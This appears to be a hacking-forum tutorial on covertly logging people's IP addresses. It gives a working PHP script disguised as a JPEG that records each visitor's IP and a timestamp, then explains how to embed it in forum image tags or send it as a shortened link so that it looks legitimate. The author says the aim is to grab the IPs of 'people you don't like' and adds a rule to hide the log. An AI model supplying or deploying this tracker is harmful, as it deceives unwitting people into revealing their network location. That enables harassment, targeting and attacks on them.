Logging IPs
Hello HF.
In this tutorial you'll learn how to log IPs on various forums, sites etcetera
Why is it useful?
You could use this to grab IPs of people you don't like or just gather a big list of IPs for personal reasons.
Where can I use this?
I 'spoofed' the script so it acts as an image, so in any place where you can embed an image.
Most (big) image uploading sites block uploading PHPs, so this wouldn't help much.
This can be used on almost ALL forums which allow embedding images (img tags).
You can also send it just as a link, but remember to shorten it to make it seem more legit.
Now for the tutorial;
You need:
- A server running PHP (Almost all versions are OK)
- The ability to read and copy-paste.
Step 1 | Create the script
This is a rough code for the IP logging.
It just takes the IP, writes it to a file called "ips.txt" (it creates it automatically).
I 'spoofed' it to act like an image, so it can be embed.
Just copy my script below;
PHP Code
<?php
header('Content-type: image/jpeg');
$logfile = fopen('ips.txt', "a") or die("Can't open file.");
fwrite($logfile, "[".date("m/d/Y | H:i:s", time())."]");
fwrite($logfile, "\r\nIP: ".$_SERVER['REMOTE_ADDR']."\r\n\r\n");
fclose($logfile);
?>Just save the file as <file name>.php (<filename> obviously can be anything, use something image-ish).
Then upload it a server which has apache or some other webservice running.
Step 2 | Getting IPs
Now that you have your logging script set up, it's time for getting IPs.
If you're going to send the link to a person who is at least a bit computer enthusiastic, make sure to shorten it first.
Some people look at the extension before opening the link.
It's easy to execute this on forums.
Just put the link between [img] tags.
Code
[img]http://yoursite.com/image.php[/img]Step 3 | Logfile
When anyone loads the image or goes to your link, the script adds their IP to "ips.txt".
It has the timestamp OF THE SERVER and then the IP that loaded it.
There you have it.
Basics of logging IPs with images and PHP.
Tweaks
Now the problem with the raw script there is that anyone can read your txt file.
You need to tweak htaccess a bit to block any visits from outside of localhost.
Edit your .htaccess file (which should be located in the root folder).
Add this at the end:
Code
<Files "ips.txt">
order deny,allow
deny from all
allow from 127.0.0.1
</Files>If you have any suggestions, feel free to comment below~!



![[Image: bmb5MjV.png]](https://i.imgur.com/bmb5MjV.png)